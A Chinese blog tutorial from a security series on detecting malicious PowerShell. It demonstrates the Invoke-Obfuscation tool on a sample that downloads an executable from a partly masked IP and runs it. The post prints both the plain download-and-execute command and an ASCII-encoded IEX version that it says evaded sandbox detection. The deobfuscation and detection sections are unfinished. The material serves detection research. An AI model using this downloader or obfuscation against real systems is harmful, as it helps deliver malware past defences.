2024新的战场,继续奋斗。 “网络安全提高班”新的100篇文章即将开启,包括Web渗透、内网渗透、靶场搭建、CVE复现、攻击溯源、实战及CTF总结,它将更加聚焦,更加深入,也是作者的慢慢成长史。换专业确实挺难的,Web渗透也是块硬骨头,但我也试试,看看自己未来四年究竟能将它学到什么程度,漫漫长征路,偏向虎山行。享受过程,一起加油~
前文介绍了如何利用MS Defender实现恶意样本家族批量标注。这篇文章将继续讲解Powershell恶意代码检测,主要包括PowerShell混淆与反混淆内容,首先结合Invoke-Obfuscation工具详细介绍PowerShell代码混淆方法,再结合PowerDecode工具阐述解混淆方法。该研究将为后续的恶意软件家族分类或溯源提供帮助。未完待续,基础性文章,希望您喜欢,且看且珍惜。
文章目录
作者作为网络安全的小白,分享一些自学基础教程给大家,主要是关于安全工具和实践操作的在线笔记,希望您们喜欢。同时,更希望您能与我一起操作和进步,后续将深入学习网络安全和系统安全知识并分享相关实验。总之,希望该系列文章对博友有所帮助,写文不易,大神们不喜勿喷,谢谢!如果文章对您有帮助,将是我创作的最大动力,点赞、评论、私聊均可,一起加油喔~
- 自学篇工具:https://github.com/eastmountyxz/NetworkSecuritySelf-study
- 系统安全:https://github.com/eastmountyxz/SystemSecurity-ReverseAnalysis
声明:本人坚决反对利用教学方法进行犯罪的行为,一切犯罪行为必将受到严惩,绿色网络需要我们共同维护,更推荐大家了解它们背后的原理,更好地进行防护。
提高篇:(自学系列100篇目录放在文章末尾)
- [网络安全提高班] 一〇一.网络空间安全普及和医疗数据安全防护总结
- [网络安全提高篇] 一〇二.Metasploit技术之基础用法万字详解及MS17-010漏洞复现
- [网络安全提高篇] 一〇三.Metasploit后渗透技术之信息收集、权限提权、移植漏洞模块和后门
- [网络安全提高篇] 一〇四.网络渗透靶场Oracle+phpStudy本地搭建万字详解(SQL注入、XSS攻击、文件上传漏洞)
- [网络安全提高篇] 一〇五.SQL注入之揭秘Oracle数据库注入漏洞和致命问题(联合Cream老师)
- [网络安全提高篇] 一〇六.SQL注入之手工注入和SQLMAP入门案例详解
- [网络安全提高篇] 一〇七.安全威胁框架理解及勒索病毒取证溯源分析(蓝队)
- [网络安全提高篇] 一〇八.Powershell和PowerSploit脚本攻击详解 (1)
- [网络安全提高篇] 一〇九.津门杯CTF的Web Write-Up万字详解(SSRF、文件上传、SQL注入、代码审计、中国蚁剑)
- [网络安全提高篇] 一一〇.强网杯CTF的Web Write-Up(上) 寻宝、赌徒、EasyWeb、pop_master
- [网络安全提高篇] 一一一.ISC会议观后感之网络安全需要新战法和新框架
- [网络安全提高篇] 一一二.DataCon Coremail邮件安全竞赛之钓鱼邮件识别及分类
- [网络安全提高篇] 一一三.Powershell恶意代码检测 (1)论文总结及抽象语法树(AST)提取
- [网络安全提高篇] 一一四.Powershell恶意代码检测 (2)抽象语法树自动提取万字详解
- [网络安全提高篇] 一一五.Powershell恶意代码检测 (3)Token关键词自动提取
- [网络安全提高篇] 一一六.恶意代码同源分析及BinDiff软件基础用法
- [网络安全提高篇] 一一七.恶意软件静态分析经典工具Capa基本用法
- [网络安全提高篇] 一一八.恶意软件静态分析经典工具Capa批量提取静态特征和ATT&CK技战术
- [网络安全提高篇] 一一九.恶意软件动态分析经典沙箱Cape的安装和基础用法详解
- [网络安全提高篇] 一二〇.恶意软件动态分析经典沙箱Cape批量提取动态API特征
- [网络安全提高篇] 一二一.恶意软件动态分析Cape沙箱Report报告的API序列批量提取详解
- [网络安全提高篇] 一二二.恶意样本分类之基于API序列和机器学习的恶意家族分类详解
- [网络安全提高篇] 一二三.恶意样本分类之基于API序列和深度学习的恶意家族分类详解
- [网络安全提高篇] 一二四.DataCon涉网分析之恶意样本IOC自动化提取万字详解
- [网络安全提高篇] 一二五.恶意软件分析之PE文件解析和利用Python获取样本时间戳及溯源
- [网络安全提高篇] 一二六.恶意软件分析之IDA Python基础用法及CFG控制流图提取详解[上]
- [网络安全提高篇] 一二八.恶意软件分析之利用MS Defender实现恶意样本家族批量标注(含学术探讨)
- [网络安全提高篇] 一二九.Powershell恶意代码检测 (5)混淆和反混淆 [上]
一.混淆
1.Invoke-Obfuscation
Invoke-Obfuscation 是一个 PowerShell v2.0+ 兼容的 PowerShell 命令和脚本混淆器。

下面给出该工具的官网文档描述:
2015 年秋天,Invoke-Obfuscation的作者决定开始研究 PowerShell 语言的灵活性,并开始对各种方法进行分类,以完成大多数攻击者经常使用的一些常见技术。最初专注于编码命令(encoded command)和远程下载(remote download)cradle 语法。无论是在运行过程中,还是在 Security EID 4688 和 Sysmon 中记录内容的EID1事件日志中,作者发现各种转义字符,没有阻碍执行命令保存在命令行参数。
随后,作者系统地探索了在任何PowerShell命令或脚本中找到的各种“令牌(token)”的混淆方法。作者探索了执行字符串级混淆更晦涩的方法、包括各种编码加密技术(如 ASCII / 十六进制 / 八进制 / 二进制甚至 SecureString)。最后,PowerShell 启动技术以从 powershell.exe 抽象命令行参数,并将其推回父进程甚至祖父进程。
由于攻击者和商用恶意软件已经开始使用非常基本的混淆技术来隐藏 powershell.exe 命令行参数中的大部分命令。因此,作者开发了这个工具可以帮助蓝队(Blue Team)模拟混淆的命令,根据作者目前所知道的情况,在 PowerShell 2.0-5.0 中的语法中可以实现这些功能,这样他们就可以测试这些技术的检测能力。
- 该工具旨在打破我们作为防御者可能对 PowerShell 命令如何出现在命令行上的任何假设。作者希望,除了更新 PowerShell 日志,包括模块(Module)、脚本块(ScriptBlock)和转录日志(Transcription logging),它会鼓励蓝队转向在命令行上寻找混淆指标器,因为这些源代码简化了由该工具生成的混淆技术的大部分工作。
Invoke-Obfuscation 在 Apache 2.0 许可下发布。
Release Notes:
v1.0 - 2016-09-25 DerbyCon 6.0 (Louisville, Kentucky USA): PUBLIC Release of Invoke-Obfuscation.
v1.1 - 2016-10-09 SANS DFIR Summit (Prague, Czech Republic): Added -f format operator re-ordering functionality to all applicable TOKEN obfuscation functions. Also added additional syntax options for setting variable values.
v1.2 - 2016-10-20 CODE BLUE (Tokyo, Japan): Added Type TOKEN obfuscation (direct type casting with string obfuscation options for type name).
v1.3 - 2016-10-22 Hacktivity (Budapest, Hungary): Added two new LAUNCHERs: CLIP+ and CLIP++. Also added additional (and simpler) array char conversion syntax for all ENCODING functions that does not require For-EachObject/%.
v1.4 - 2016-10-28 BruCON (Ghent, Belgium): Added new BXOR ENCODING function. Also enhanced randomized case for all components of all ENCODING functions as well as for PowerShell execution flags for all LAUNCHERs. Finally, added -EP shorthand option for -ExecutionPolicy to all LAUNCHERs as well as the optional integer representation of the -WindowStyle PowerShell execution flag: Normal (0), Hidden (1), Minimized (2), Maximized (3).
v1.5 - 2016-11-04 Blue Hat (Redmond, Washington USA): Added WMIC LAUNCHER with some randomization of WMIC command line arguments.
v1.6 - 2017-01-24 Blue Hat IL (Tel Aviv, Israel):
- Added CLI functionality: E.g., Invoke-Obfuscation -ScriptBlock {Write-Host ‘CLI FTW!’} -Command ‘Token\All\1, Encoding\1,Launcher\Stdin++\234,Clip’ -Quiet -NoExit
- Added UNDO functionality to remove one layer of obfuscation at a time.
- Added Process Argument Tree output for all launchers to aid defenders.
- Added six GetMember alternate syntaxes for several SecureString members
- …
v1.7 - 2017-03-03 nullcon (Goa, India):
- Added 3 new LAUNCHERs: RUNDLL, RUNDLL++ and MSHTA++
- Added additional ExecutionContext wildcard variable strings
v1.8 - 2017-07-27 Black Hat (Las Vegas, Nevada USA): Added 2 new ENCODING options: Special Characters and Whitespace
v1.8.1 - 2017-12-19: Added COMPRESS function for easier conversion of multi-line scripts to a one-liner command while drastically reducing the command length for cmd.exe command line length limitation purposes.
v1.8.2 - 2018-01-04: Added AST obfuscation functions, which obfuscates by manipulating the structure of the AbstractSyntaxTree without using many special characters.
2.Powershell恶意样本
接着存在如下图所示的Powershell恶意样本。

该Powershell命令是从远程下载一个PE文件,并保存至本地环境中,再运行该恶意PE文件。
(New-Object System.Net.WebClient).DownloadFile('http://94.xxx.xxx.238/csrsv.exe',"$env:APPDATA\csrsv.exe");
Start-Process ("$env:APPDATA\csrsv.exe")
接下来,我们用微步沙箱进行简单的检测。

当样本包含完整的IP地址和路径时,微步沙箱检测其为高危恶意样本。显示如下图所示:


3.混淆具体操作
虽然所有的混淆层都已构建到单独的脚本中,但大多数用户会发现该 Invoke-Obfuscation 函数是探索和可视化混淆技术的最简单方法。Invoke-Obfuscation 的源代码托管在 Github,您可以从仓库中下载和查看它。
下载至本地后如下图所示:

第一步,安装Invoke-Obfuscation并启动。
- Import-Module ./Invoke-Obfuscation.psd1
- Invoke-Obfuscation


第二步,选择编码混淆,输入“ENCODING”。
Invoke-Obfuscation
____ __
/ _/___ _ ______ / /_____
/ // __ \ | / / __ \/ //_/ _ \______
_/ // / / / |/ / /_/ / ,< / __/_____/
/______ /__|_________/_/|_|\___/ __ _
/ __ \/ /_ / __/_ ________________ _/ /_(_)___ ____
/ / / / __ \/ /_/ / / / ___/ ___/ __ `/ __/ / __ \/ __ \
/ /_/ / /_/ / __/ /_/ (__ ) /__/ /_/ / /_/ / /_/ / / / /
\____/_.___/_/ \__,_/____/\___/\__,_/\__/_/\____/_/ /_/
Tool :: Invoke-Obfuscation
Author :: Daniel Bohannon (DBO)
Twitter :: @danielhbohannon
Blog :: http://danielbohannon.com
Github :: https://github.com/danielbohannon/Invoke-Obfuscation
Version :: 1.8
License :: Apache License, Version 2.0
Notes :: If(!$Caffeinated) {Exit}
HELP MENU :: Available options shown below:
[*] Tutorial of how to use this tool TUTORIAL
[*] Show this Help Menu HELP,GET-HELP,?,-?,/?,MENU
[*] Show options for payload to obfuscate SHOW OPTIONS,SHOW,OPTIONS
[*] Clear screen CLEAR,CLEAR-HOST,CLS
[*] Execute ObfuscatedCommand locally EXEC,EXECUTE,TEST,RUN
[*] Copy ObfuscatedCommand to clipboard COPY,CLIP,CLIPBOARD
[*] Write ObfuscatedCommand Out to disk OUT
[*] Reset ALL obfuscation for ObfuscatedCommand RESET
[*] Undo LAST obfuscation for ObfuscatedCommand UNDO
[*] Go Back to previous obfuscation menu BACK,CD ..
[*] Quit Invoke-Obfuscation QUIT,EXIT
[*] Return to Home Menu HOME,MAIN
Choose one of the below options:
[*] TOKEN Obfuscate PowerShell command Tokens
[*] AST Obfuscate PowerShell Ast nodes (PS3.0+)
[*] STRING Obfuscate entire command as a String
[*] ENCODING Obfuscate entire command via Encoding
[*] COMPRESS Convert entire command to one-liner and Compress
[*] LAUNCHER Obfuscate command args w/Launcher techniques (run once at end)
Invoke-Obfuscation> ENCODING

第三步,设置需要混淆的文件。
- SET SCRIPTPATH data/example-001.ps1

第四步,设置采用ASCII码方式编码混淆。

此时,输出结果如下图所示。

由图可知,混淆转换为ASCII字符。并且起始位置为IEX字符,其中“$shellID[1]”为字符“I”,接下来依次为“E”和“X”。通过这种方式引入IEX执行命令,然后末尾 “[chAr][inT]$_)” 是该混淆伴随着解码器执行,它能成功绕过杀毒软件。
- IEX(Invoke-Expression的别名):用来把字符串当作命令执行

Invoke-Expression
The Invoke-Expression cmdlet evaluates or runs a specified string as a command and returns the results of the expression or command. Without Invoke-Expression, a string submitted at the command line is returned (echoed) unchanged.
第五步,将文件输出。

混淆后的代码如下所示:
.( $shellID[1]+$ShelLId[13]+'X')( "$(SeT-itEm 'varIable:OfS' '' ) " +
[STrING](( 40 , 78 , 101 ,119,45,79, 98, 106 ,101, 99 , 116, 32, 83,121 ,
115, 116,101, 109 ,46,78 ,101 ,116, 46,87,101 ,98,67 , 108 ,105,101,110 ,
116 ,41,46 ,68,111 , 119, 110, 108 , 111 , 97,100,70 , 105 , 108, 101 ,
40, 39 ,104 , 116 , 116, 112,58 , 47 , 47 ,57, 52 , 46 ,120 , 120,120,
46 , 120,120, 120,46 ,50,51, 56,47,99 , 115 ,114,115 , 118, 46, 101,
120,101, 39, 44,34, 36 , 101 , 110, 118 , 58, 65 , 80 , 80,68 ,65 ,84,
65,92 ,99,115 ,114 ,115 , 118 , 46 , 101, 120 , 101 , 34,41, 59, 83 ,
116,97 ,114,116 , 45, 80,114 , 111,99,101 ,115 , 115,32, 40, 34 ,36 ,
101, 110 , 118, 58, 65,80, 80,68,65,84, 65 ,92 , 99,115, 114, 115,
118,46, 101,120 , 101,34 ,41 )|% { ( [chAr][inT]$_)})+
"$( Set-ITEM 'VArIaBLe:Ofs' ' ' )")
最终输出文件内容如下图所示。

最后,我们尝试将含完整IP地址的PS进行混淆,然后通过微步沙箱进行绕过检测。

经过混淆处理后,PS文件成功绕过了多种沙箱的检测。

补充:
我们还可以采用其它的混淆方式,比如AST混淆。
二.反混淆
未完待续!
1.PowerDecode
2.具体操作
三.检测混淆
未完待续!
1.Revoke-Ofuscation
2.具体操作
四.总结
写到这里,这篇文章就介绍完毕,下一篇会介绍解混淆。基础性文章,希望对您有所帮助。行路难,多歧路。感谢家人的陪伴,爱你们喔!
- 一.混淆
1.Invoke-Obfuscation
2.Powershell恶意样本
3.混淆具体操作 - 二.反混淆
1.PowerDecode
2.具体操作 - 三.检测混淆
1.Revoke-Ofuscation
2.具体操作
欢迎大家讨论,是否觉得这系列文章帮助到您!任何建议都可以评论告知读者,共勉。
- 逆向分析:https://github.com/eastmountyxz/SystemSecurity-ReverseAnalysis
- 网络安全:https://github.com/eastmountyxz/NetworkSecuritySelf-study
2024年4月28日是Eastmount的安全星球——『网络攻防和AI安全之家』正式创建和运营的日子,该星球目前主营业务为 安全零基础答疑、安全技术分享、AI安全技术分享、AI安全论文交流、威胁情报每日推送、网络攻防技术总结、系统安全技术实战、面试求职、安全考研考博、简历修改及润色、学术交流及答疑、人脉触达、认知提升等。下面是星球的新人券,欢迎新老博友和朋友加入,一起分享更多安全知识,比较良心的星球,非常适合初学者和换安全专业的读者学习。
目前收到了很多博友、朋友和老师的支持和点赞,尤其是一些看了我文章多年的老粉,购买来感谢,真的很感动,类目。未来,我将分享更多高质量文章,更多安全干货,真心帮助到大家。虽然起步晚,但贵在坚持,像十多年如一日的博客分享那样,脚踏实地,只争朝夕。继续加油,再次感谢!
(By:Eastmount 2025-04-09 夜于火星 http://blog.csdn.net/eastmount/ )



302





被折叠的 条评论
为什么被折叠?



